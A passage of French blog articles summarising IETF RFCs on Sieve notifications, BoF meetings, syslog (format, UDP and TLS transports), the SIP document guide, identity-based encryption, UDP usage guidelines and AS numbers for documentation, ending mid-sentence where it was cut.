require ["enotify", "fileinto", "variables"]; if header :contains "to" "sievemailinglist@example.org" { # :matches is used to get the value of the Subject header if header :matches "Subject" "*" { set "subject" "${1}"; } # :matches is used to get the value of the From header if header :matches "From" "*" { set "from" "${1}"; } notify :importance "3" :message "[SIEVE] ${from}: ${subject}" "mailto:alm@example.com"; fileinto "INBOX.sieve"; }
Les sections 4 et 5 décrivent des tests Sieve permettant à un script de savoir quelles méthodes de notification sont disponibles sur le site.
La section 8, très détaillée, est consacrée aux questions de sécurité. En effet,
comme le note le RFC, la notification est potentiellement très
dangereuse. Elle peut entraîner des boucles (si un courrier de
notification déclenche à son tour une notification), « spammer » des
destinataires, aboutir à la sortie involontaire d'informations
confidentielles, etc. Combinée avec des extensions comme les variables
(qui permettent de fabriquer dynamiquement des composants de la
notification, comme le message ou le destinataire), l'action
notify
peut mener à des résultats très
surprenants. Les programmeurs sont donc invités à la prudence,
notamment pour éviter les boucles.
Je ne connais pas encore d'implémentation de Sieve qui mette en œuvre ce mécanisme de notification.
Date de publication du RFC : Février 2009
Auteur(s) du RFC : Thomas Narten (IBM)
Pour information
Première rédaction de cet article le 2 février 2009
Le travail de normalisation au sein de l'IETF se fait dans des groupes de travail (Working Groups) dont la constitution nécessite un grand formalisme. L'écart est tel entre des discussions informelles dans un bistrot et la création d'un groupe de travail que des états intermédiaires se sont développés comme les BoF (Birds of a Feather, d'une expression anglophone intraduisible). Les BoF sont actives depuis de nombreuses années et le premier RFC qui les avait mentionnées était le RFC 2418, dans sa section 2.4.
L'idée est qu'un groupe de gens qui estiment que tel travail de normalisation peut et doit être fait vont se rassembler et approfondir leurs accords, avant de demander à l'IESG la création d'un vrai groupe de travail. Alors que les BoF étaient au début une réponse à la formalisation de plus en plus grande des groupes de travail (qui n'ont plus rien du rassemblement spontané et informel des débuts), les voici à leur tour normalisées. Ce RFC est bâti sur l'excellent exposé que fait Thomas Narten à chaque réunion IETF, à l'usage des débutants dans cet organisme.
Pour illustrer le RFC, je prendrais des exemples de la seule BoF où j'étais impliqué, celle sur le langage Cosmogol à l'IETF de Prague en mars 2007.
La section 1 commence par « Pourquoi une BoF ? » Il peut y avoir des tas de raisons, par exemple une présentation sur un problème particulier, qui ne rentre dans aucun groupe de travail précis. Mais la motivation la plus fréquente est la création future d'un groupe de travail, c'était clairement le but de la BoF sur Cosmogol (qui a échoué) ou de celle d'Alto à Dublin en juillet 2008, qui, elle, a finalement réussi.
L'IETF est très focalisée sur le résultat : le but n'est pas de parler, quoique ce soit sympa, c'est de produire des normes. Le RFC recommande donc fortement de s'assurer que le problème est bien défini, très focalisé, est soluble (« supprimer le spam » n'est donc pas un bon problème), que l'IETF est le bon endroit pour le traiter, et que des gens sont prêts à travailler concrètement en ce sens (car il existe beaucoup d'idées qui rassemblent un large soutien... mais peu de travailleurs).
Alors, quelles sont les étapes nécessaires ? La section 2 les détaille :
draft-bortzmeyer-language-state-machines
a été publié en septembre 2006.)Les projets de BoF échouent souvent, non pas sur les solutions au problème, mais sur la définition du problème. C'est contre cet écueil que met en garde la section 3. Ainsi, le groupe de travail MARID, qui a connu une vie agitée et une fin brutale, était censé travailler uniquement sur l'authentification des serveurs de messagerie, un problème bien délimité, mais beaucoup de gens s'obstinaient à essayer de le tirer vers une solution générale au problème du spam, un bon moyen de n'aller nulle part, vue la taille et la complexité du problème.
Le risque est d'autant plus élevé que les ingénieurs ont une nette tendance à préférer les discussions sur les solutions aux discussions sur la définition du problème ! Ces discussions prématurées sont souvent une cause de perte de temps. Ainsi, alors même qu'une bonne partie de l'IETF n'était pas convaincue de la nécessité d'avoir un langage standard pour les machines à état, la plupart des messages sur la liste Cosmogol portaient sur des points subtils de l'ABNF du langage ou bien sur la question de savoir s'il fallait autoriser Unicode dans les identificateurs.
Enfin, si on a passé tous ces obstacles, la BoF elle-même commence (section 4). Parfois, c'est un échec et il n'y a que le groupe fondateur dans la salle. Parfois, c'est un succès quantitatif, comme les Bof d'Alto ou de Cosmogol où plus de cent personnes se serraient dans une salle trop petite. Comme les participants à l'IETF adorent discuter, le RFC conseille de rester focalisé : « Quel est le but de la BoF ? » « Qu'attend t-on comme résultat ? »
Un bon compte-rendu de la BoF sur Cosmogol (officiellement nommée Finite State Machines BOF) peut être lu sur le blog de Barry Leiba.
Après, on peut passer à la suite : compte-tenu de ce qui s'est passé à la BoF, quelle est l'étape suivante ? Si la BoF a été un succès, et si l'IESG a semblé favorable, on peut faire une demande formelle de création d'un groupe de travail. (Pour Cosmogol, l'IESG avait clairement manifesté que la création du groupe semblait lointaine, vu le manque de consensus sur le problème de base.)
Comme on apprend davantage des échecs que des réussites, la section 6 décrit les pièges les plus fréquemment observés :
On le voit, créer une BoF est compliqué et long et ne réussit pas toujours. D'où la demande pour des réunions plus informelles comme les Bar BoF où les participants se rencontrent au bar. Trois ans après, un RFC a formalisé les Bar BoF.... (RFC 6771)
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : A. Okmianski (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF syslog
Première rédaction de cet article le 10 mars 2009
La nouvelle version du protocole syslog offre désormais le choix du protocole de transport. Il y aura un RFC par transport et celui-ci normalise le transport sur UDP.
Le RFC 5424, qui définit la nouvelle version du protocole syslog comporte une innovation : le protocole de transport peut être choisi séparément du format des données transmises. Historiquement, syslog a toujours été transporté sur UDP et notre RFC normalise cette pratique. Le transport UDP est même rendu obligatoire, pour assurer l'interopérabilité.
Le RFC est court, car il y a peu de détails à préciser. Parmi ceux-ci, notons les questions de taille des paquets (section 3.2), où un minimum est imposé (480 octets en IPv4) et où il est recommandé de se tenir à la MTU du lien comme maximum (le maximum théorique étant celui d'UDP, 65535 octets).
Le RFC normalise également le port utilisé (c'est le port historique, 514).
La section 4 détaille les conséquences pour syslog de la nature non-fiable d'UDP. Les paquets syslog transmis sur UDP peuvent donc être perdus et l'application doit en tenir compte. De même, UDP ne fournissant pas de contrôle de congestion, un émetteur syslog doit donc prendre soin de ne pas émettre de messages au maximum de ses capacités.
Enfin, la section 5, consacrée à la sécurité, rappelle l'absence presque complète de sécurité du transport UDP, qui ne protège contre rien, rendant son utilisation à l'extérieur du réseau local très dangereuse.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : F. Miao (Huawei), Y. Ma (Huawei), J. Salowey (Cisco)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF syslog
Première rédaction de cet article le 10 mars 2009
Le protocole syslog, de transport des données de journalisation entre deux machines TCP/IP, a toujours souffert de son absence de sécurité. Ce RFC normalise un transport des données authentifié et chiffré, grâce au protocole TLS, et permet donc de combler une des failles de sécurité de syslog.
Les sections 8.5, 8.7 et 8.8 du RFC 5424 et la section 2 de notre RFC 5425 notent bien que de nombreuses attaques sont possibles contre le syslog traditionnel. Notamment, deux nous intéressent particulièrempent ici :
Il faut aussi se rappeler qu'un message syslog peut être relayé par des machines intermédiaires, augmentant ainsi les risques. TLS (RFC 5246) traite ces deux problèmes pour bien d'autres protocoles. Il utilise la cryptographie pour protéger les communications des indiscrets et des usurpateurs. Son utilisation pour syslog allait donc de soi.
La section 2 expose par contre que certains risques ne sont pas pris en compte, par exemple celui de déni de service. TLS augmente plutôt ce risque, en exigeant davantage de ressources disponibles de la part des deux machines. (Le transport UDP du RFC 5426 est plus léger mais bien moins sûr.) La section 3 fait remarquer que l'usage de TLS ne protège pas non plus contre un faux message : si on veut signer ses messages syslog, il faut utiliser un autre mécanisme, actuellement en cours de développement.
Enfin, la section 4 décrit en détail le protocole. Il utilise le port 6514. Il se sert des certificats du RFC 5280 pour l'authentification de l'autre machine (sections 4.2 et 5, la seconde sur les politiques d'authentification). Les données sont ensuite simplement encapsulées dans TLS (section 4.3).
Je ne connais pas encore de mise en œuvre du protocole syslog qui aie ce transport sécurisé.
Date de publication du RFC : Mars 2009
Auteur(s) du RFC : R. Gerhards (Adiscon)
Chemin des normes
Première rédaction de cet article le 10 mars 2009
Mettant à jour l'ancienne description, voici la nouvelle spécification du protocole syslog, protocole de transmission d'informations sur les événements observés par un système.
syslog est un très ancien protocole, qui,
comme souvent sur l'Internet,
n'avait pas été normalisé pendant longtemps. Seul l'examen des sources
du programme syslogd
ou bien l'étude des paquets
passant sur le réseau, permettaient de décrire le protocole. Le
premier RFC à formaliser syslog était le RFC 3164, qui vient d'être remplacé par notre RFC. Au contraire de
son prédécesseur, qui décrivait l'existant, ce nouvel RFC et ses
compagnons normalisent un nouveau
protocole, en étendant l'ancien syslog, le BSD
syslog (l'annexe A.1 discute des différences entre les deux protocoles). Parmi les changements du nouveau protocole, notons une description
modulaire, qui sépare le format utilisé (qui fait l'objet de notre
RFC) du protocole utilisé pour le transport des données (voir par
exemple le RFC 5426).
syslog sert à transmettre des rapports sur des événements survenus
dans un système. Le programme client (originator) qui signale les événements
transmet à un serveur syslog (collector), situé sur la même machine ou bien
ailleurs sur le réseau. Le serveur syslog, typiquement configuré sur
Unix via le fichier
/etc/syslog.conf
va ensuite enregistrer ces
événements, par exemple dans un fichier comme
/var/log/mail.log
. Ces fichiers, véritables
journaux de bord du système, permettent à
l'ingénieur de suivre tout ce qui se passe. On y trouvera des informations
telles que la date, le nom de la machine où à été noté l'événement, un
court texte décrivant celui-ci, etc. Par exemple :
Nov 29 21:18:11 ludwigVI dhcpd: DHCPREQUEST for 172.19.1.25 from 00:1c:23:00:6b:7f via eth0
où le serveur DHCP a signalé une requête pour une adresse IP, ou bien :
Nov 29 21:06:17 foobar named[2418]: lame server resolving 'oasc08a.247realmedia.com' (in 'oasc08a.247realmedia.com'?): 64.191.219.251#53
où le serveur de noms BIND note un problème avec un domaine.
syslog est un immense succès. Non seulement tous les
démons Unix l'utilisent pour signaler les
événements qu'ils observent (tournant en permanence, sans console,
sans utilisateur qui les suit, ils n'ont que ce canal pour
communiquer) mais tout routeur, tout
commutateur réseau a aussi un client syslog,
qu'on peut configurer pour envoyer les messages à un serveur, souvent
Unix, qui écoute sur le réseau et note tout. (Avec
IOS, par exemple, cela se fait avec les commandes logging facility local3
- ou un autre service que local3 - et
logging 192.0.2.84
pour indiquer l'adresse IP du serveur syslog.)
On peut aussi utiliser syslog pour noter manuellement des événements qu'on détecte.
L'architecture complète peut être plus complexe qu'un simple client/serveur, la section 4.1 donnant plusieurs exemples.
Rien ne garantit la bonne délivrance des messages, syslog est typiquement unidirectionnel (les sections 5.1 et 8.5 discutent plus en détail cette question).
La section 6 discute en détail du format des messages syslog,
format conçu pour rester compatible avec le précédent, tout en
permettant davantage de structuration (l'ancien format avait très peu
de structure et il était donc difficile d'en extraire automatiquement
des informations, par exemple pour le filtrage des événements avec un
programme comme Swatch). Le premier champ d'un
en-tête syslog, nommé PRI
est écrit entre < et
> et code le service
(facility) et la gravité
(severity) du message. Le service indique quelle
partie du système a noté l'événements (2, le sous-système de courrier, 4,
la sécurité, etc). Notons que ce système est très rigide et ne permet
pas une grande finesse dans le classement. La gravité permet, elle, de distinguer les messages de
débogage (gravité 7), de simple information (gravité 6) et ainsi de
suite jusqu'aux
extrêmes urgences (gravité 0). Service et gravité sont encodés dans un
seul nombre en multipliant le premier par 8, donc, si j'émets un
message du service 16 (« usage local 0 ») avec une gravité de 3
(erreur), ici avec la commande logger :
% logger -p local0.error "Test syslog"
Le message sur le réseau commencerait par <131>
(16 * 8 + 3).
L'en-tête permet ensuite d'indiquer le numéro de version de syslog, la date, le nom de la machine émettrice, le nom de l'application (logger, cité plus haut, met par défaut le nom de l'utilisateur), un numéro qui peut identifier une instance de l'application (sur Unix, c'est typiquement le numéro de processus mais le RFC note à juste titre que ce champ ne peut pas avoir de signification standard)...
Une nouveauté de ce RFC est la présence de données structurées,
après l'en-tête et avant le message. Ces données sont formatées de
telle façon qu'un serveur syslog de l'ancien protocol peut toujours
les traiter comme du texte. Elles s'écrivent sous forme de doublets
attribut-valeur placés entre crochets. Les noms d'attributs possibles
sont décrits dans la section 7 et font l'objet d'un registre IANA (section 9.2). Un exemple est [meta
language="fr"]
pour indiquer que le texte est en français
ou bien [timeQuality tzKnown="1" isSynced="1"]
pour indiquer que la machine qui a émis le message connait son fuseau
horaire et que son horloge est synchronisée, par exemple par
NTP.
Enfin, le message se termine par du texte libre, encodé en UTF-8. Le RFC cite ainsi comme exemple un message complet avec son en-tête :
<34>1 2003-10-11T22:14:15.003Z mymachine.example.com su - ID47 - BOM'su root' failed for lonvick on /dev/pts/8
syslog étant un protocole assez primitif, fonctionnant souvent sur le simple UDP, il n'est pas étonnant qu'il aie connu quelques problèmes de sécurité et que la section 8, consacrée à ce sujet, soit très détaillée. Parmi les nombreuses questions discutées, on peut citer par exemple le rejeu (section 8.4), contre lequel syslog n'a pas de protection, l'absence de garantie de délivrance des messages (section 8.5, qui note qu'on peut avoir de bonnes raisons de ne pas vouloir cette garantie), l'absence de contrôle de congestion, qui rend possible une noyade d'une machine sous les messages syslog (section 8.6), etc.
Une mise en œuvre comme rsyslog gère les principales nouveautés de ce RFC (comme le transport sur TCP, avec ou sans TLS).
Date de publication du RFC : Février 2009
Auteur(s) du RFC : J. Rosenberg (Cisco)
Pour information
Réalisé dans le cadre du groupe de travail IETF sip
Première rédaction de cet article le 4 février 2009
La quantité de RFC sur le protocole SIP est colossale et s'accroit tous les jours. Depuis la norme originale, le RFC 3261, ce sont des dizaines de RFC que devrait lire l'implémenteur de SIP consciencieux. Pour lui faciliter la vie, ce RFC résume les RFC pertinents sur SIP et les classe en catégories.
C'est un travail analogue à celui du RFC 7414 pour TCP : ne pas créer de nouvelles normes mais lister celles qui existent, en indiquant leur importance et leur place dans la famille. C'est donc essentiellement une liste commentée de RFC qui compose notre RFC 5411. La liste est longue, vue la taille du zoo SIP. D'autant plus que certains RFC ont connu un succès très limité.
Un petit avertissement : comme son titre l'indique, il vaut mieux faire précéder la lecture de ce RFC par celle du livre de Douglas Adams, « The hitchiker's guide to the galaxy » (en français « Le Guide du Routard Galactique »). Cela permettra d'apprécier les allusions, comme le rappel récurrent à ne pas s'affoler.
Commençons bien sûr par le cœur de SIP (section 3), les normes indispensables à tout logiciel SIP. Le RFC de référence est le RFC 3261, le « président de la galaxie » (et une première référence à Douglas Adams, une). Mais les RFC 3263 (trouver un serveur SIP), RFC 3264 (utiliser SDP pour décrire les paramètres d'une session SIP), ou RFC 3265 (le modèle de notification d'évènements en SIP, évènements auxquels on peut s'abonner) sont également centraux.
Le cœur contient également d'autres RFC comme (au hasard), le RFC 4474 qui permet de définir une véritable identité numérique dans SIP, avec authentification, ou bien le RFC 4566 qui normalise SDP.
Plusieurs catégories sont ensuite détaillées dans le RFC. Contrairement au cœur, elles ne sont utiles que pour certains logiciels. Ainsi, la section 4 décrit les normes qui ont un rapport avec l'interconnexion de SIP et du PSTN. La section 5 décrit les extensions à SIP qui, sans être utilisées systématiquement, ont une audience générale. C'est le cas, par exemple, du RFC 3323, qui permet de configurer la protection de la vie privée offerte par les logiciels SIP.
La section 6 est consacrée à un problème douloureux qui a beaucoup handicapé SIP par rapport à certains concurrents commerciaux et fermés comme le protocole de Skype : la traversée des NAT. Peu d'utilisateurs aujourd'hui ont la possibilité d'avoir, en IPv4, une véritable liaison Internet de bout en bout. Ils doivent en général passer par des traducteurs NAT, dont la présence complique beaucoup le travail des applications. Un groupe de travail entier de l'IETF, Behave, travaille aux solutions « passe-NAT ». C'est ainsi que deux Internet-Drafts sont listés ici : bien que pas terminés, les protocoles ICE et SIP outbound seront probablement nécessaires dans toute mise en œuvre de SIP.
Plusieurs autres catégories sont traitées dans les sections suivantes : établissement de l'appel (section 7), gestion d'évènement (sections 8 et 9), QoS (section 10), problèmes opérationnels (section 11), compression (section 12), URI SIP (section 13), téléconférences (section 16) messagerie instantanée (section 17), services d'urgence (section 18) et extensions diverses (section 14). Pointons du doigt un RFC au hasard dans cette liste : le RFC 5079 fournit un moyen à l'appelé de dire qu'il refuse un appel parce que l'appelant est anonyme (au lieu de lui raccrocher au nez sans explication).
SIP a fait l'objet d'analyse critiques sur sa sécurité. La section 15 est donc dédiée aux RFC ayant un rapport avec la sécurité. Le RFC 4916 complète le mécanisme d'identité numérique du RFC 4474. Le RFC 5360 normalise un mécanisme d'expression du consentement (à une communication).
Date de publication du RFC : Janvier 2009
Auteur(s) du RFC : G. Appenzeller (Stanford
University), L. Martin (Voltage
Security), M. Schertler (Tumbleweed Communications)
Pour information
Réalisé dans le cadre du groupe de travail IETF smime
Première rédaction de cet article le 24 janvier 2009
L'IBE (Identity-Based Encryption) est une technique d'identité numérique où les clés cryptographiques sont dérivées de l'identité (par exemple d'une adresse de courrier). Ce RFC normalise son utilisation, notamment dans S/MIME.
C'est fou
ce qu'on fait avec les identités numériques. Il y avait des cas où l'identité était elle-même une clé publique
(HIP, cf. RFC 7401 et
CGA, cf. RFC 3972) mais,
avec IBE, les
clés cryptographiques dérivent de l'identité. Si je prends comme
identité une adresse de courrier comme
stephane+ibe@bortzmeyer.fr
, divers algorithmes
comme celui de Boneh-Franklin (cf. RFC 5409) permettent de fabriquer une
clé publique, que mes correspondants peuvent utiliser pour chiffrer
des messages qui me sont destinés.
La clé privée, dans les systèmes d'IBE, est générée par un serveur dédié, dont la sécurité devient donc vitale (la section 7 du RFC le discute en détail). IBE est donc un système avec une bonne dose de centralisation. Ce serveur utilise les mêmes paramètres que pour le calcul de la clé publique, plus un secret.
La section 2.1 du RFC résume l'essentiel sur les IBE. Comme indiqué plus haut, il faut disposer d'un PPS (Public Parameter Server) qui distribuera les paramètres publics nécessaires au calcul des clés et d'un PKG (Private Key Generator) qui générera les clés privées. Il y a typiquement un PPS et un PKG par « domaine », un domaine étant un groupe d'identités ayant les mêmes paramètres. Comme une identité comprend souvent un nom de domaine (c'est le cas des identités basées sur l'adresse de courrier), la distribution des PPS et PKG suit typiquement celle du DNS.
Le RFC ne discute absolument pas des problèmes politiques que posent les IBE, problèmes qui avaient pourtant été soulevés dans le groupe de travail S/MIME de l'IETF, mais ignorés. Le principal problème est qu'IBE est typiquement soutenu par des gens qui veulent garder le contrôle des clés privées des utilisateurs, gouvernements dictatoriaux ou entreprises paranoïaques. L'argument principal est de simplifier la gestion des clés (celle-ci est la faiblesse courante des autres techniques de cryptographie car peu d'utilisateurs ont la compétence et l'envie de gérer leurs clés correctement). Un autre argument est le désir de mettre en œuvre des techniques de menottes numériques, par exemple pour empêcher la lecture d'un message après une certaine date. Ces points, absents du RFC, sont à garder en tête lorsqu'on évalue les IBE.
Le format de chiffrement et de signature des messages S/MIME (RFC 3851) est moins utilisé que son concurrent PGP (RFC 4880) mais il est le premier à permettre d'utiliser les IBE.
La section 2.2 explique le fonctionnement des IBE. Un client IBE doit récupérer les paramètres publics de génération de la clé publique (section 2.2.1) à un URI « bien connu ». Il peut ensuite fabriquer la clé publique et chiffrer (section 2.2.2). Pour lire un message ainsi chiffré (section 2.3), le destinataire doit obtenir les mêmes paramètres publics puis contacter le PKG (section 2.3.2). Il doit évidemment s'authentifier auprès de ce dernier.
Maintenant, place aux détails. La section 3 définit le format des identités en ASN.1. Elles seront typiquement encodées en DER. L'identité elle-même est une chaîne de caractères. La structure qui la contient contient aussi un domaine district, qui est l'URI du PPS.
La section 4 donne le protocole d'interrogation du PPS, le serveur
qui donnera les paramètres publics. Il s'agit d'un simple
GET
HTTP (RFC 7231, section 4.3.1) sur l'URI du domaine (section 4.1). Les
paramètres seront encodés en DER et surencodés en
Base64 et marqués comme du type
application/ibe-pp-data
(section 4.3).
Et pour les paramètres privés ? La section 5 s'en occupe. Le
récepteur d'un message IBE contacte son PKG en HTTP (qui doit être
chiffré et authentifié) et envoie une
requête POST
(RFC 2616, section 9.5). Dans le corps de cette requête, il enverra du
XML (section 5.3) qui codera son identité et
des paramètres optionnels (curieusement, il n'existe aucun
schéma pour définir le XML acceptable). La réponse, de type application/ibe-pkg-reply+xml
, sera également en XML (section
5.6), contenant entre autres un code de réponse et la clé privée en
DER. Le code sera par exemple IBE100
(succès) ou
IBE301
(clé inconnue ou irrécupérable).
Date de publication du RFC : Novembre 2008
Auteur(s) du RFC : L. Eggert (Nokia), G. Fairhurst (University of Aberdeen)
Réalisé dans le cadre du groupe de travail IETF tsvwg
Première rédaction de cet article le 18 novembre 2008
La grande majorité des applications Internet tourne sur le protocole de transport TCP. Mais son concurrent UDP, normalisé dans le RFC 768, prend de l'importance avec le multimédia et les jeux en ligne pour lesquels il est souvent bien adapté. Mais, contrairement à TCP, UDP ne fournit aucun mécanisme de contrôle de la congestion. C'est donc aux applications de fournir ce contrôle, suivant les règles expliquées par ce RFC. (Il a depuis été remplacé par le RFC 8085.)
UDP est apprécié pour certaines applications car il est simple et léger et le fait qu'il ne garantisse pas l'acheminement de la totalité des paquets n'est pas forcément un problème dans les applications multimédia : si on perd quelques secondes d'une communication téléphonique RTP, il vaut mieux passer à la suite que de perdre du temps à la retransmettre comme le ferait TCP. Mais UDP ne fournit pas non plus de contrôle de la congestion. C'est pourtant nécessaire (RFC 2914 et RFC 7567), à la fois pour assurer que le réseau continue à être utilisable et également pour assurer une certaine équité entre les différents flux de données, pour éviter qu'une seule application gourmande ne monopolise le réseau pour elle.
UDP ne le faisant pas, il faut bien que l'application le fasse et, pour cela, qu'elle mette en œuvre les conseils de ce RFC. (Notre RFC contient également des conseils pour d'autres aspects de l'utilisation d'UDP que le contrôle de congestion : mais c'est le plus important.)
Le gros du RFC est dans la section 3 qui détaille ces conseils (la
section 5 contient un excellent résumé sous forme d'un tableau des
conseils à suivre). Le
premier est qu'il vaut peut-être mieux ne pas utiliser UDP. Beaucoup
de développeurs d'applications pensent à UDP en premier parce qu'il
est simple et facile à comprendre et qu'il est « plus rapide que
TCP ». Mais, rapidement, ces développeurs se rendent compte qu'ils ont
besoin de telle fonction de TCP, puis de telle autre, ils les mettent
en œuvre dans leur application et arrivent à une sorte de TCP en
moins bien, davantage bogué et pas plus rapide. Notre RFC conseille
donc d'abord de penser aux autres protocoles de transport comme
TCP (RFC 793),
DCCP (RFC 4340) ou
SCTP (RFC 4960). Ces protocoles sont
d'autant plus intéressants qu'ils ont souvent fait l'objet de réglages
soigneux depuis de nombreuses années et qu'il est donc difficile à un
nouveau programme de faire mieux. D'autant plus qu'il existe souvent
des réglages spécifiques pour les adapter à un usage donné. Par
exemple, on peut dire à TCP de donner la priorité à la
latence (paramètre
TCP_NODELAY
de setsockopt) ou bien au débit.
Si on ne suit pas ces sages conseils, et qu'on tient à se servir d'UDP, que doit-on faire pour l'utiliser intelligemment ? La section 3.1 couvre le gros morceau, le contrôle de congestion. Celui-ci doit être pris en compte dès la conception de l'application. Si cette dernière fait de gros transferts de données (section 3.1.1, c'est le cas de RTP, RFC 3550), elle doit mettre en œuvre TFRC, tel que spécifié dans le RFC 5348, donc faire à peu près le même travail que TCP. Et ce mécanisme doit être activé par défaut.
Si l'application transmet peu de données (section 3.1.2), elle doit quand même faire attention et le RFC demande pas plus d'un datagramme par RTT, où le RTT est un cycle aller-retour avec la machine distante (calculé selon le RFC 2988 ; si le calcul n'est pas possible, le RFC demande une durée de trois secondes). L'application doit également détecter les pertes de paquet pour ralentir son rythme si ces pertes - signe de congestion - sont trop fréquentes.
Le cas où l'application est un tunnel au dessus d'UDP est également couvert (section 3.1.3).
En suivant toutes ces règles, l'application gère proprement la congestion. Et le reste ? La section 3.2 fournit des pistes sur la gestion de la taille des paquets (rester en dessous de la MTU, utiliser la découverte de MTU spécifiée dans des RFC comme le RFC 4821, etc). La 3.3 explique la question de la fiabilité : par défaut, UDP ne retransmet pas les paquets perdus. Si c'est nécessaire, c'est l'application qui doit le faire. Elle doit aussi gérer l'eventuelle duplication des paquets (qu'UDP n'empêche pas). Le RFC note que les retards des paquets peuvent être très importants (jusqu'à deux minutes, normalise le RFC) et que l'application doit donc gérer le cas où un paquet arrive alors qu'elle croyait la session finie depuis longtemps.
La section 3.4 précise l'utilisation des sommes de contrôle (facultatives pour UDP sur IPv4 mais qui devraient être utilisées systématiquement). Si une somme de contrôle pour tout le paquet semble excessive, et qu'on veut protéger uniquement les en-têtes de l'application, une bonne alternative est UDP-Lite (RFC 3828), décrit dans la section 3.4.1.
Beaucoup de parcours sur l'Internet sont encombrés de « middleboxes », ces engins intermédiaires qui assurent diverses fonctions (NAT, coupe-feu, etc) et qui sont souvent de médiocre qualité logicielle, bricolages programmés par un inconnu et jamais testés. La section 3.5 spécifie les règles que devraient suivre les applications UDP pour passer au travers sans trop de heurts. Notamment, beaucoup de ces « middleboxes » doivent maintenir un état par flux qui les traverse. En TCP, il est relativement facile de détecter le début et la fin d'un flux en observant les paquets d'établissement et de destruction de la connexion. En UDP, ces paquets n'ont pas d'équivalent et la détection d'un flux repose en général sur des heuristiques. L'engin peut donc se tromper et mettre fin à un flux qui n'était en fait pas terminé. Si le DNS s'en tire en général (c'est un simple protocole requête-réponse, avec en général moins de deux secondes entre l'une et l'autre), d'autres protocoles basés sur UDP pourraient avoir de mauvaises surprises. Elles doivent donc se préparer à de soudaines interruptions de la communication, si le timeout d'un engin intermédiaire a expiré alors qu'il y avait encore des paquets à envoyer. (La solution des keepalives est déconseillée par le RFC car elle consomme de la capacité du réseau et ne dispense pas de gérer les coupures, qui se produiront de toute façon.)
La section 3.6 fera le bonheur des
programmeurs qui y trouveront des conseils pour
mettre en œuvre les principes de ce RFC, via
l'API des prises
(sockets, RFC 3493). Elle est largement documentée mais en général plutôt
pour TCP que pour UDP, d'où l'intérêt du résumé qu'offre ce RFC, qui
ne dispense évidemment pas de lire le Stevens. Par exemple, en
l'absence de mécanisme de TIME_WAIT
(la prise
reste à attendre d'éventuels paquets retardés, même après sa fermeture
par l'application), une application UDP peut ouvrir une prise... et
recevoir immédiatement des paquets qu'elle n'avait pas prévus, qui
viennent d'une exécution précédente.
Le protocole ICMP fournit une aide utile, que les applications UDP peuvent utiliser (section 3.7). Mais attention, certains messages ICMP peuvent refléter des erreurs temporaires (absence de route, par exemple) et ne devraient pas entraîner de mesures trop drastiques.
Après tous ces conseils, la section 4 est dédiée aux questions de sécurité. Comme TCP ou SCTP, UDP ne fournit en soi aucun mécanisme d'intégrité des données ou de confidentialité. Pire, il ne fournit même pas d'authentification de l'adresse IP source (authentification fournie, avec TCP, par le fait que, pour établir la connexion, il faut recevoir les réponses de l'autre). L'application doit-elle mettre en œvre la sécurité seule ? Le RFC conseille plutôt de s'appuyer sur des protocoles existants comme IPsec (RFC 4301) ou DTLS (RFC 6347). En effet, encore plus que les protocoles de gestion de la congestion, ceux en charge de la sécurité sont très complexes et il est facile de se tromper. Il vaut donc mieux s'appuyer sur un système existant plutôt que d'avoir l'hubris et de croire qu'on peut faire mieux que ces protocoles ciselés depuis des années.
Pour authentifier, il existe non seulement IPsec et DTLS mais également d'autres mécanismes dans des cas particuliers. Par exemple, si les deux machines doivent être sur le même lien (un cas assez courant), on peut utiliser GTSM (RFC 3682) pour s'en assurer.
Voilà, un rappel, ce RFC n'est plus d'actualité, il a été remplacé par le RFC 8085.
Date de publication du RFC : Décembre 2008
Auteur(s) du RFC : G. Huston
Pour information
Réalisé dans le cadre du groupe de travail IETF idr
Première rédaction de cet article le 11 décembre 2008
De même qu'il existe des adresses IP et des noms de domaine réservés à la documentation, les numéros d'AS de 64496 à 64511 et de 65536 à 65551 sont désormais réservés pour les auteurs des documentations sur le routage.
Écrire un cours sur le routage (comme mon cours BGP) nécessite de choisir les numéros d'AS qui apparaitront. Prendre des numéros existants est risqués car il y aura toujours un distrait pour copier-coller les configurations de routeurs qu'il a lu dans le cours, créant ainsi des problèmes avec l'AS qui a ce numéro.
Le même problème existe pour les adresses IP (d'où la réservation de
192.0.2.0/24
, 198.51.100.0/24
et 203.0.113.0/24
, dans le RFC 5737 ou de 2001:DB8::/32
dans le RFC 3849) ou pour les noms de domaine (pour lesquels
.example
a été réservé par le RFC 2606).
Comme le rappelle la section 1, même les numéros privés (pour les AS, de 64512 à 65534) ne conviennent pas puisqu'ils sont utilisés en production dans certains réseaux. C'est donc logiquement que notre RFC réserve deux plages de seize numéros d'AS pour la documentation : de 64496 à 64511 pour les AS sur deux octets et de 65536 à 65551 pour les AS sur quatre octets (ces derniers ayant été introduits par le RFC 4893, depuis remplacé par le RFC 6793).
Date de publication du RFC : Décembre 2008
Auteur(s) du RFC : G. Huston (APNIC, G. Michaelson (APNIC)
Chemin des normes
Réalisé dans le cadre du groupe de travail IETF idr
Première rédaction de cet article le 10 décembre 2008
Après de très longs débats, ce RFC normalise enfin un format pour
représenter les numéros de systèmes autonomes
de 32 bits. Ils seront affichés dans la notation ASPLAIN, c'est-à-dire
sans séparateur interne, par exemple 101234
.
Depuis que le RFC 4893, en mai 2007, avait
normalisé les numéros de systèmes autonomes sur
quatre octets (donc potentiellement supérieurs à 65536), le débat
faisait rage, dans la communauté des opérateurs Internet, sur la
meilleure représentation
textuelle à leur donner. Deux solutions s'affrontaient pour
écrire le numéro 101234
: celle qui l'a emportée, nommée ASPLAIN, où
le numéro était écrit sans séparateur interne, et une première
solution, ASDOT, où on écrivait le numéro en deux parties séparées par
un point, ici 1.35698
(1 * 65536 + 35698). La
méthode ASPLAIN convenait mieux aux programmes, ASDOT était préféré
par les humains.
Il y avait aussi une méthode ASDOT+ où même les numéros inférieurs à
65536 étaient écrits en deux parties, 20768
se
notant 0.20768
. ASDOT avait semblé avoir le vent
en poupe d'abord, mais avait
échoué devant l'IESG.
La crainte des adversaires d'ASDOT était que beaucoup de programmes écrits pour gérer les routeurs (car un gros opérateurs ayant des centaines de Juniper ou de Cisco n'édite évidemment pas les centaines de configurations depuis une interface Web, il a un programme pour cela), des gros scripts Perl ou équivalent, n'aient pas été prévus pour des points au milieu d'un numéro d'AS... Pour prendre un exemple cité par Philip Smith :
